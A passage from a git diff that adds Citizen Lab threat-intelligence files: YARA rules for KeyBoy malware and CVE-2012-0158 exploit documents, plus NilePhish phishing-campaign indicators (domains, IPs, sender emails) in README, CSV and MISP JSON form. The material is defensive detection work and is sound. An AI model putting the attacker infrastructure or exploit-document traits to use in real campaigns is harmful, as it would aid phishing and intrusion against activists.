szControlInfo_3 Error!" ascii wide + $s20 = "VirtualAlloc RecvBuff Error(%d)" ascii wide + $s21 = "RecvData Error!" ascii wide + $s22 = "WriteFile [%s} Error(%d)..." ascii wide + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + filesize < 200KB and + $error and 3 of ($s*) +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: rule keyboy_systeminfo +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the system information format before sending to C2" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + //These strings are ASCII pre-2015 and UNICODE in 2016 + $s1 = "SystemVersion: %s" ascii wide + $s2 = "Product ID: %s" ascii wide + $s3 = "InstallPath: %s" ascii wide + $s4 = "InstallTime: %d-%d-%d, %02d:%02d:%02d" ascii wide + $s5 = "ResgisterGroup: %s" ascii wide + $s6 = "RegisterUser: %s" ascii wide + $s7 = "ComputerName: %s" ascii wide + $s8 = "WindowsDirectory: %s" ascii wide + $s9 = "System Directory: %s" ascii wide + $s10 = "Number of Processors: %d" ascii wide + $s11 = "CPU[%d]: %s: %sMHz" ascii wide + $s12 = "RAM: %dMB Total, %dMB Free." ascii wide + $s13 = "DisplayMode: %d x %d, %dHz, %dbit" ascii wide + $s14 = "Uptime: %d Days %02u:%02u:%02u" ascii wide + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + filesize < 200KB and + 7 of them +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: import "pe" +rule keyboy_related_exports +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the new 2016 sample's export" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + //The malware family seems to share many exports + //but this is the new kid on the block. + pe.exports("Embedding") or + pe.exports("SSSS") or + pe.exports("GetUP") +} + + + !Not implemented attribute category/type combination caught! attribute[Artifacts dropped][yara]: import "pe" +rule keyboy_init_config_section +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the Init section where the config is stored" + date = "2016-08-28" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + //Payloads are normally smaller but the new dropper we spotted + //is a bit larger. + filesize < 300KB and + + //Observed virtual sizes of the .Init section vary but they've + //always been 1024, 2048, or 4096 bytes. + for any i in (0..pe.number_of_sections - 1): + ( + pe.sections[i].name == ".Init" and + pe.sections[i].virtual_size % 1024 == 0 + ) +} + + + !Not implemented attribute category/type combination caught! attribute[Payload delivery][yara]: rule CVE_2012_0158_KeyBoy { + meta: + author = "Etienne Maynier <etienne@citizenlab.ca>" + description = "CVE-2012-0158 variant" + file = "8307e444cad98b1b59568ad2eba5f201" + + strings: + $a = "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff09000600000000000000000000000100000001" nocase // OLE header + $b = "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" nocase // junk data + $c = /5(\{\\b0\}|)[ ]*2006F00(\{\\b0\}|)[ ]*6F007(\{\\b0\}|)[ ]*400200045(\{\\b0\}|)[ ]*006(\{\\b0\}|)[ ]*E007(\{\\b0\}|)[ ]*400720079/ nocase + $d = "MSComctlLib.ListViewCtrl.2" + $e = "ac38c874503c307405347aaaebf2ac2c31ebf6e8e3" nocase //decoding shellcode + + condition: + all of them +} + + + !Not implemented attribute category/type combination caught! attribute[Payload delivery][yara]: rule keyboy_exploit_doc_meta{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the meta associated with these exploit docs" + date = "2016-09-30" + + strings: + $role = "{\\author Master}{\\operator Master}" + $creatim = "{\\creatim\\yr2015\\mo10\\dy16\\hr11\\min37}" + $revtim = "{\\revtim\\yr2015\\mo10\\dy16\\hr13\\min54}" + + condition: + uint32be(0) == 0x7B5C7274 and + filesize < 1MB and + all of them +} + + + + + citizenlab + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201702_NilePhish/README.md b/data/ioc/spyware/citizen_lab/201702_NilePhish/README.md new file mode 100644 index 0000000..c1655a8 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201702_NilePhish/README.md @@ -0,0 +1,9 @@ +## NilePhish IOCs + +This directory contains IOCs from the Citizen Lab report [Nile Phish: Large-Scale Phishing Campaign Targeting Egyptian Civil Society](https://citizenlab.org/2017/02/nilephish-report/) published the 2nd of February 2017. + +Files included in this directory: +* openioc.ioc : IOCs in OpenIOC format +* stix.xml : IOCs in STIX XML format +* iocs.csv : IOCs in csv format +* misp.json : IOC in MISP JSON format diff --git a/data/ioc/spyware/citizen_lab/201702_NilePhish/iocs.csv b/data/ioc/spyware/citizen_lab/201702_NilePhish/iocs.csv new file mode 100644 index 0000000..7b814d1 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201702_NilePhish/iocs.csv @@ -0,0 +1,39 @@ +uuid,event_id,category,type,value,comment,to_ids,date +587cf53e-ee64-4e85-a4f5-0bbb8e96ca05,89,Network activity,ip-dst,"176.123.26.42","",1,20170116 +587cfa0f-0b54-44f1-9f4c-0bbb8e96ca05,89,Network activity,ip-dst,"108.61.176.96","IPs hosting phishing websites",1,20170116 +587cfa22-d240-4c6a-ba53-0bbb8e96ca05,89,Network activity,ip-dst,"104.238.191.204","IP hosting phishing websites",1,20170116 +588778af-1470-4b9e-a921-07288e96ca05,89,Network activity,domain,"google-maps.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-1708-4caa-bef5-07288e96ca05,89,Network activity,domain,"googledriver-sign.ddns.net","Domains used in the phishing attack",1,20170124 +588778af-2d08-493e-962a-07288e96ca05,89,Network activity,domain,"googlesecure-serv.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-3604-4351-9e9e-07288e96ca05,89,Network activity,domain,"googledrive-sign.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-3f6c-4a59-9c2f-07288e96ca05,89,Network activity,domain,"fedex-sign.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-4184-41bd-932b-07288e96ca05,89,Network activity,domain,"dropbox-sign.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-421c-4ab6-8fc9-07288e96ca05,89,Network activity,domain,"verification-acc.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-4754-4997-9fdc-07288e96ca05,89,Network activity,domain,"secure-team.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-4e10-41de-9d5b-07288e96ca05,89,Network activity,domain,"dropbox-service.serveftp.com","Domains used in the phishing attack",1,20170124 +588778af-5614-4198-bfc8-07288e96ca05,89,Network activity,domain,"fedex-mail.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-5724-4ccd-b5f0-07288e96ca05,89,Network activity,domain,"aramex-shipping.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-7d08-4995-ae9d-07288e96ca05,89,Network activity,domain,"myaccount.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-7ff4-4200-a7ee-07288e96ca05,89,Network activity,domain,"security-myaccount.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-aaf4-49c7-9028-07288e96ca05,89,Network activity,domain,"googleverify-signin.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-cf24-4254-ad98-07288e96ca05,89,Network activity,domain,"account-google.serveftp.com","Domains used in the phishing attack",1,20170124 +588778af-d37c-406e-8703-07288e96ca05,89,Network activity,domain,"fedex-shipping.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-d7e4-4b55-8b85-07288e96ca05,89,Network activity,domain,"dropboxsupport.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-ea9c-4be6-a936-07288e96ca05,89,Network activity,domain,"mailgooglesign.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-ee60-4f45-8efb-07288e96ca05,89,Network activity,domain,"device-activation.servehttp.com","Domains used in the phishing attack",1,20170124 +588778af-f554-4b11-b19b-07288e96ca05,89,Network activity,domain,"googlesignin.servehttp.com","Domains used in the phishing attack",1,20170124 +58877af7-3218-42ee-ab63-07288e96ca05,89,Network activity,domain,"fedex-s.servehttp.com","Related phishing domain",1,20170124 +58877af7-c9f8-4198-acf2-07288e96ca05,89,Network activity,domain,"watchyoutube.servehttp.com","Related phishing domain",1,20170124 +58877af7-e064-4ea8-8048-07288e96ca05,89,Network activity,domain,"dropbox-verfy.servehttp.com","Related phishing domain",1,20170124 +58877ce3-2fa4-43b0-9be6-07298e96ca05,89,Network activity,domain,"securityteam-notify.servehttp.com","Related phishing domain",1,20170124 +58877ce3-5b10-49d8-b03d-07298e96ca05,89,Network activity,domain,"restricted-videos.servehttp.com","Related phishing domain",1,20170124 +58877ce3-5d28-4361-983f-07298e96ca05,89,Network activity,domain,"fedex-notification.servehttp.com","Related phishing domain",1,20170124 +58877ce3-9b20-4e75-a2f1-07298e96ca05,89,Network activity,domain,"quota-notification.servehttp.com","Related phishing domain",1,20170124 +58877ce3-acd4-4365-ac46-07298e96ca05,89,Network activity,domain,"docs-mails.servehttp.com","Related phishing domain",1,20170124 +58877ce3-c1c4-40d8-baa5-07298e96ca05,89,Network activity,domain,"verification-team.servehttp.com","Related phishing domain",1,20170124 +58877ce3-e2bc-4fc7-b7a0-07298e96ca05,89,Network activity,domain,"notification-team.servehttp.com","Related phishing domain",1,20170124 +58877ce3-f668-4eb1-828a-07298e96ca05,89,Network activity,domain,"dropboxnotification.servehttp.com","Related phishing domain",1,20170124 +58877ce3-fb60-4972-a691-07298e96ca05,89,Network activity,domain,"secure-alert.servehttp.com","Related phishing domain",1,20170124 +5887a880-559c-4680-a403-0bbb8e96ca05,89,Network activity,domain,"moi-gov.serveftp.com","Related phishing domain",1,20170124 +5890c466-51f8-425d-850f-07298e96ca05,89,Network activity,domain,"activate-google.servehttp.com","Domain used in the phishing attack",1,20170131 +5890c521-f8f4-4df3-ab2c-07298e96ca05,89,Network activity,domain,"googlemaps.servehttp.com","Domain used in the phishing attack",1,20170131 diff --git a/data/ioc/spyware/citizen_lab/201702_NilePhish/misp.json b/data/ioc/spyware/citizen_lab/201702_NilePhish/misp.json new file mode 100644 index 0000000..a0b6bcd --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201702_NilePhish/misp.json @@ -0,0 +1,1080 @@ +{"response":[{ + "Event": { + "id": "89", + "orgc_id": "2", + "org_id": "2", + "date": "2017-01-16", + "threat_level_id": "2", + "info": "Nile Phish - attacks again Egyptian civil society", + "published": true, + "uuid": "587cf513-b324-485c-b65e-07298e96ca05", + "attribute_count": "52", + "analysis": "1", + "timestamp": "1485882657", + "distribution": "1", + "proposal_email_lock": false, + "locked": false, + "publish_timestamp": "1485888588", + "sharing_group_id": "0", + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Attribute": [ + { + "id": "15651", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-cf24-4254-ad98-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "account-google.serveftp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15652", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-5724-4ccd-b5f0-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "aramex-shipping.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15653", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-ee60-4f45-8efb-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "device-activation.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15654", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-4e10-41de-9d5b-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "dropbox-service.serveftp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15655", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-4184-41bd-932b-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "dropbox-sign.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15656", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-d7e4-4b55-8b85-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "dropboxsupport.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15657", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-5614-4198-bfc8-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "fedex-mail.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15658", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-d37c-406e-8703-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "fedex-shipping.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15659", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-3f6c-4a59-9c2f-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "fedex-sign.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15660", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-1708-4caa-bef5-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "googledriver-sign.ddns.net", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15661", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-3604-4351-9e9e-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "googledrive-sign.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15662", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-1470-4b9e-a921-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "google-maps.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15663", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-2d08-493e-962a-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "googlesecure-serv.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15664", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-f554-4b11-b19b-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "googlesignin.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15665", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-aaf4-49c7-9028-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "googleverify-signin.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15666", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-ea9c-4be6-a936-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "mailgooglesign.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15667", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-7d08-4995-ae9d-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "myaccount.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15668", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-4754-4997-9fdc-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "secure-team.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15669", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-7ff4-4200-a7ee-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "security-myaccount.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15670", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "588778af-421c-4ab6-8fc9-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273263", + "comment": "Domains used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "verification-acc.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15671", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58877af7-e064-4ea8-8048-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273847", + "comment": "Related phishing domain", + "sharing_group_id": "0", + "deleted": false, + "value": "dropbox-verfy.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15672", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58877af7-3218-42ee-ab63-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273847", + "comment": "Related phishing domain", + "sharing_group_id": "0", + "deleted": false, + "value": "fedex-s.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15673", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58877af7-c9f8-4198-acf2-07288e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485273847", + "comment": "Related phishing domain", + "sharing_group_id": "0", + "deleted": false, + "value": "watchyoutube.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15674", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58877ce3-c1c4-40d8-baa5-07298e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485274339", + "comment": "Related phishing domain", + "sharing_group_id": "0", + "deleted": false, + "value": "verification-team.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15675", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58877ce3-2fa4-43b0-9be6-07298e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485274339", + "comment": "Related phishing domain", + "sharing_group_id": "0", + "deleted": false, + "value": "securityteam-notify.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15676", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58877ce3-fb60-4972-a691-07298e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485274339", + "comment": "Related phishing domain", + "sharing_group_id": "0", + "deleted": false, + "value": "secure-alert.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15677", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58877ce3-9b20-4e75-a2f1-07298e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485274339", + "comment": "Related phishing domain", + "sharing_group_id": "0", + "deleted": false, + "value": "quota-notification.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15678", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58877ce3-e2bc-4fc7-b7a0-07298e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485274339", + "comment": "Related phishing domain", + "sharing_group_id": "0", + "deleted": false, + "value": "notification-team.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15679", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58877ce3-5d28-4361-983f-07298e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485274339", + "comment": "Related phishing domain", + "sharing_group_id": "0", + "deleted": false, + "value": "fedex-notification.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15680", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58877ce3-acd4-4365-ac46-07298e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485274339", + "comment": "Related phishing domain", + "sharing_group_id": "0", + "deleted": false, + "value": "docs-mails.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15681", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58877ce3-5b10-49d8-b03d-07298e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485274339", + "comment": "Related phishing domain", + "sharing_group_id": "0", + "deleted": false, + "value": "restricted-videos.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15682", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "58877ce3-f668-4eb1-828a-07298e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485274339", + "comment": "Related phishing domain", + "sharing_group_id": "0", + "deleted": false, + "value": "dropboxnotification.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15683", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5887a880-559c-4680-a403-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485285504", + "comment": "Related phishing domain", + "sharing_group_id": "0", + "deleted": false, + "value": "moi-gov.serveftp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15685", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5890c466-51f8-425d-850f-07298e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485882470", + "comment": "Domain used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "activate-google.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15686", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5890c521-f8f4-4df3-ab2c-07298e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1485882657", + "comment": "Domain used in the phishing attack", + "sharing_group_id": "0", + "deleted": false, + "value": "googlemaps.servehttp.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15399", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "587cfa0f-0b54-44f1-9f4c-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484585487", + "comment": "IPs hosting phishing websites", + "sharing_group_id": "0", + "deleted": false, + "value": "108.61.176.96", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15400", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "587cfa22-d240-4c6a-ba53-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484585506", + "comment": "IP hosting phishing websites", + "sharing_group_id": "0", + "deleted": false, + "value": "104.238.191.204", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15358", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "587cf53e-ee64-4e85-a4f5-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484584254", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "176.123.26.42", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15374", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "587cf8ac-c440-4d76-886f-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484585132", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "secure.policy.check@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15375", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "587cf8ac-e780-49b3-8a72-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484585132", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "aramex.shipment@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15376", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "587cf8ac-1c68-4978-ad06-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484585132", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "fedex_tracking@outlook.sa", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15377", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "587cf8ac-5760-44c5-9a0f-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484585132", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mails.acc.noreply@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15378", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "587cf8ac-e788-4294-bc78-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484585132", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "fedex.noreply@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15379", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "587cf8ac-b678-4509-828e-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484585132", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "customerserviceonlineteam@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15380", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "587cf8ac-cc54-41a3-81d7-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484585132", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "fedexcustomers.service@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15381", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "587cf8ac-3f30-4cd6-8821-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484585132", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "elnadeem.org@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15382", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "587cf8ac-8200-46ea-8b62-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484585132", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "dropbox.noreplay@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15383", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "587cf8ac-814c-4b68-a2ed-0bbb8e96ca05", + "event_id": "89", + "distribution": "5", + "timestamp": "1484585132", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mails.noreply.verify@gmail.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "15384", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "587cf8ac-991c-4110-bbcc-0bbb8e96ca05", + "event_id": "89", + 